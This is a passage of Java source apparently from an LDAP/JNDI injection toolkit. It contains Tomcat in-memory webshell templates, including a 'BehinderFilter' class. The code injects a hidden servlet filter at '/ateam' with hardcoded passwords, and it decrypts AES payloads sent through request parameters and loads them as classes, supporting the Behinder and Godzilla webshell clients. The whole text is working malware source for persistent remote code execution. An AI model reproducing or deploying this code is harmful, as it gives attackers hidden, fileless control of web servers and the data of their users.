Object f = payload.newInstance(); 180 | f.equals(arrOut); 181 | f.equals(data); 182 | f.equals(request); 183 | response.resetBuffer(); 184 | response.getWriter().write(md5.substring(0, 16)); 185 | f.toString(); 186 | response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); 187 | response.getWriter().write(md5.substring(16)); 188 | response.flushBuffer(); 189 | response.finishResponse(); 190 | } 191 | } else { 192 | response.resetBuffer(); 193 | response.getWriter().println("error"); 194 | response.flushBuffer(); 195 | response.finishResponse(); 196 | } 197 | } 198 | } catch (Exception e) { 199 | // e.printStackTrace(); 200 | } 201 | } 202 | 203 | public byte[] x(byte[] s, boolean m) { 204 | try { 205 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 206 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); 207 | return c.doFinal(s); 208 | } catch (Exception e) { 209 | return null; 210 | } 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/BehinderFilter.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import org.apache.catalina.LifecycleState; 4 | import org.apache.catalina.connector.Request; 5 | import org.apache.catalina.connector.Response; 6 | import org.apache.catalina.core.ApplicationContext; 7 | import org.apache.catalina.core.StandardContext; 8 | import org.apache.catalina.util.LifecycleBase; 9 | import org.apache.coyote.RequestInfo; 10 | 11 | import javax.crypto.Cipher; 12 | import javax.crypto.spec.SecretKeySpec; 13 | import javax.servlet.*; 14 | import javax.servlet.http.HttpServletRequest; 15 | import javax.servlet.http.HttpSession; 16 | import java.io.IOException; 17 | import java.io.InputStream; 18 | import java.io.Writer; 19 | import java.lang.reflect.Field; 20 | import java.lang.reflect.Method; 21 | import java.math.BigInteger; 22 | import java.security.MessageDigest; 23 | import java.util.EnumSet; 24 | import java.util.HashMap; 25 | import java.util.List; 26 | import java.util.Map; 27 | 28 | public class BehinderFilter extends ClassLoader implements Filter{ 29 | public String cs = "UTF-8"; 30 | public String pwd = "eac9fa38330a7535";//pass1024 31 | // public String pwd = "02f2a5c80f47d495"; 32 | 33 | // public String pwd = "26b4ec454ba458df"; //skysky 34 | public String path = "/ateam"; 35 | public String filterName = "ateam666"; 36 | public Request req = null; 37 | public Response resp = null; 38 | 39 | 40 | static { 41 | try { 42 | BehinderFilter behinderMemShell = new BehinderFilter(); 43 | if (behinderMemShell.req != null && behinderMemShell.resp != null){ 44 | behinderMemShell.addFilter(); 45 | } 46 | } catch (Exception e){ 47 | } 48 | } 49 | 50 | 51 | public Class g(byte[] b) { 52 | return super.defineClass(b, 0, b.length); 53 | } 54 | 55 | public String md5(String s) { 56 | String ret = null; 57 | try { 58 | MessageDigest m = MessageDigest.getInstance("MD5"); 59 | m.update(s.getBytes(), 0, s.length()); 60 | ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16); 61 | } catch (Exception var4) { 62 | } 63 | return ret; 64 | } 65 | 66 | public BehinderFilter() { 67 | this.setParams(); 68 | } 69 | 70 | public BehinderFilter(ClassLoader c) { 71 | super(c); 72 | this.setParams(); 73 | } 74 | 75 | 76 | //找req和resp 77 | public void setParams(){ 78 | try { 79 | boolean flag = false; 80 | Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads"); 81 | for (int i=0;i>> iterator = paramMap.entrySet().iterator(); 145 | while (iterator.hasNext()) { 146 | Map.Entry> next = iterator.next(); 147 | String paramKey = next.getKey().replaceAll(" ", "+"); 148 | ArrayList paramValueList = next.getValue(); 149 | if (paramValueList.size() == 0) { 150 | payload = payload + paramKey; 151 | } else { 152 | payload = payload + paramKey + "=" + paramValueList.get(0); 153 | } 154 | } 155 | } 156 | 157 | // System.out.println(payload); 158 | // 冰蝎逻辑 159 | // String k = "e45e329feb5d925b"; // rebeyond 160 | String k = "c822c1b63853ed27"; //google 161 | session.putValue("u", k); 162 | Cipher c = Cipher.getInstance("AES"); 163 | c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 164 | Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 165 | method.setAccessible(true); 166 | byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload)); 167 | Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length); 168 | evilclass.newInstance().equals(pageContext); 169 | } 170 | } else if (request.getHeader("x-client-data").trim().contains("godzilla")) { 171 | // 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题 172 | byte[] data = base64Decode(request.getParameter(pass)); 173 | data = x(data, false); 174 | if (payload == null) { 175 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 176 | Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 177 | defMethod.setAccessible(true); 178 | payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length); 179 | } else { 180 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 181 | Object f = payload.newInstance(); 182 | f.equals(arrOut); 183 | f.equals(data); 184 | f.equals(request); 185 | response.getWriter().write(md5.substring(0, 16)); 186 | f.toString(); 187 | response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); 188 | response.getWriter().write(md5.substring(16)); 189 | } 190 | } 191 | return false; 192 | } 193 | } catch (Exception e) { 194 | // e.printStackTrace(); 195 | } 196 | return true; 197 | } 198 | 199 | public byte[] x(byte[] s, boolean m) { 200 | try { 201 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 202 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); 203 | return c.doFinal(s); 204 | } catch (Exception e) { 205 | return null; 206 | } 207 | } 208 | } 209 | --------------------------------------------------------------------------------